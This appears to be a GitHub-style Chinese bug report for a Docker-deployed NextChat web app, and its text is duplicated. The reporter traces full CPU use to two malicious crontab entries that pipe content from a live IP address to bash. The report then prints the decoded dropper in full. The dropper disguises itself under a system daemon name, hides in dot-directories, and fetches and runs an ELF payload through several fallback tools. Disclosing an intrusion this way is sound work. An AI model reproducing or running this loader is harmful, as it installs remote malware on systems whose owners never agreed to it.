📦 部署方式
Docker
📌 软件版本
v2.16.1
💻 系统环境
Ubuntu
📌 系统版本
Ubuntu 18.04.6 LTS
🌐 浏览器
Chrome
📌 浏览器版本
任何
🐛 问题描述
服务器发送警报cpu占满了，登陆查看是nextchatweb容器里的crond进程100%了。crontab -l查看多了两行异常脚本@reboot busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash
/3 * * * * busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash
解码该网址内容为#!/bin/bash
[ -z "$OKDBG" ]&&exec 2>/dev/null
H=45.198.224.93;P=8081
N="dbus-daemon systemd-journald systemd-resolved systemd-timesyncd systemd-udevd polkitd rsyslogd sshd cron crond auditd agetty nginx mysqld atd"
Q=".cache .config .local .gnupg .dbus .pki .thumbnails"
M=$(cat /etc/machine-id 2>/dev/null);[ -z "$M" ]&&M="$(hostname)-$(uname -s)-$(uname -m)"
F="$M$(hostname)"
h(){ command -v "$1" >/dev/null; }
p(){ L=$1 S=$2 n=0
for I in $L;do n=$((n+1));done
g=$(printf %s "$S"|cksum);g=${g%% };[ -z "$g" ]&&g=0
R=$((g%n+1));n=0
for I in $L;do n=$((n+1));[ "$n" = "$R" ]&&{ printf %s "$I";return;};done; }
X=$(p "$N" "$F");Y=$(p "$Q" "$F")
[ "$(id -u)" = 0 ]&&E="/usr/bin/$Y/$X"||E="${HOME:-/tmp}/$Y/$X"
case $(uname -m) in x86_64|amd64)A=x86_64;;i386|i486|i586|i686)A=i686;;aarch64|arm64)A=aarch64;;armv7l|armv7|armv8l)A=armv7l;;)echo XR_FAILED_ARCH;exit 1;;esac
v(){ [ -s "$1" ]&&[ "$(dd if="$1" bs=4 count=1 2>/dev/null)" = "$(printf '\177ELF')" ]; }
d(){ U="http://$H:$P/elf.$A"
h curl&&curl -fsSL --connect-timeout 10 --max-time 120 "$U" -o "$E"&&v "$E"&&return
h wget&&wget -q -T 10 "$U" -O "$E"&&v "$E"&&return
h busybox&&busybox wget -q -T 10 "$U" -O "$E"&&v "$E"&&return
h perl&&perl -MIO::Socket::INET -e '($h,$p,$f,$o)=@argv;$s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp")or exit 1;print $s "GET $f HTTP/1.0\r\nHost: $h\r\nConnection: close\r\n\r\n";open(O,">",$o)or exit 1;while(<$s>){print O if $b;$b=1 if /^\r?$/}' "$H" "$P" "/elf.$A" "$E"&&v "$E"&&return
h python3&&python3 -c 'import urllib.request as u;u.urlretrieve("'$U'","'$E'")'&&v "$E"&&return
return 1; }
mkdir -p "${E%/}"
d||{ echo XR_FAILED_DL;exit 1; }
chmod +x "$E"
( "$E" --dbg >/dev/null 2>&1 & )
S="$E.status";i=0
while [ $i -lt 240 ];do [ -s "$S" ]&&{ T=$(cat "$S");rm -f "$S";echo "$T";case "$T" in FAILED|TIMEOUT)exit 1;;*)exit 0;;esac;};sleep 1;i=$((i+1));done
echo XR_STATUS:TIMEOUT;exit 1
📷 复现步骤
难以复现
🚦 期望结果
希望修复网页漏洞
📝 补充信息
No response
📦 部署方式
Docker
📌 软件版本
v2.16.1
💻 系统环境
Ubuntu
📌 系统版本
Ubuntu 18.04.6 LTS
🌐 浏览器
Chrome
📌 浏览器版本
任何
🐛 问题描述
服务器发送警报cpu占满了，登陆查看是nextchatweb容器里的crond进程100%了。crontab -l查看多了两行异常脚本@reboot busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash
/3 * * * * busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash
解码该网址内容为#!/bin/bash
[ -z "$OKDBG" ]&&exec 2>/dev/null
H=45.198.224.93;P=8081
N="dbus-daemon systemd-journald systemd-resolved systemd-timesyncd systemd-udevd polkitd rsyslogd sshd cron crond auditd agetty nginx mysqld atd"
Q=".cache .config .local .gnupg .dbus .pki .thumbnails"
M=$(cat /etc/machine-id 2>/dev/null);[ -z "$M" ]&&M="$(hostname)-$(uname -s)-$(uname -m)"
F="$M$(hostname)"
h(){ command -v "$1" >/dev/null; }
p(){ L=$1 S=$2 n=0
for I in $L;do n=$((n+1));done
g=$(printf %s "$S"|cksum);g=${g%% };[ -z "$g" ]&&g=0
R=$((g%n+1));n=0
for I in $L;do n=$((n+1));[ "$n" = "$R" ]&&{ printf %s "$I";return;};done; }
X=$(p "$N" "$F");Y=$(p "$Q" "$F")
[ "$(id -u)" = 0 ]&&E="/usr/bin/$Y/$X"||E="${HOME:-/tmp}/$Y/$X"
case $(uname -m) in x86_64|amd64)A=x86_64;;i386|i486|i586|i686)A=i686;;aarch64|arm64)A=aarch64;;armv7l|armv7|armv8l)A=armv7l;;)echo XR_FAILED_ARCH;exit 1;;esac
v(){ [ -s "$1" ]&&[ "$(dd if="$1" bs=4 count=1 2>/dev/null)" = "$(printf '\177ELF')" ]; }
d(){ U="http://$H:$P/elf.$A"
h curl&&curl -fsSL --connect-timeout 10 --max-time 120 "$U" -o "$E"&&v "$E"&&return
h wget&&wget -q -T 10 "$U" -O "$E"&&v "$E"&&return
h busybox&&busybox wget -q -T 10 "$U" -O "$E"&&v "$E"&&return
h perl&&perl -MIO::Socket::INET -e '($h,$p,$f,$o)=@argv;$s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp")or exit 1;print $s "GET $f HTTP/1.0\r\nHost: $h\r\nConnection: close\r\n\r\n";open(O,">",$o)or exit 1;while(<$s>){print O if $b;$b=1 if /^\r?$/}' "$H" "$P" "/elf.$A" "$E"&&v "$E"&&return
h python3&&python3 -c 'import urllib.request as u;u.urlretrieve("'$U'","'$E'")'&&v "$E"&&return
return 1; }
mkdir -p "${E%/}"
d||{ echo XR_FAILED_DL;exit 1; }
chmod +x "$E"
( "$E" --dbg >/dev/null 2>&1 & )
S="$E.status";i=0
while [ $i -lt 240 ];do [ -s "$S" ]&&{ T=$(cat "$S");rm -f "$S";echo "$T";case "$T" in FAILED|TIMEOUT)exit 1;;*)exit 0;;esac;};sleep 1;i=$((i+1));done
echo XR_STATUS:TIMEOUT;exit 1
📷 复现步骤
难以复现
🚦 期望结果
希望修复网页漏洞
📝 补充信息
No response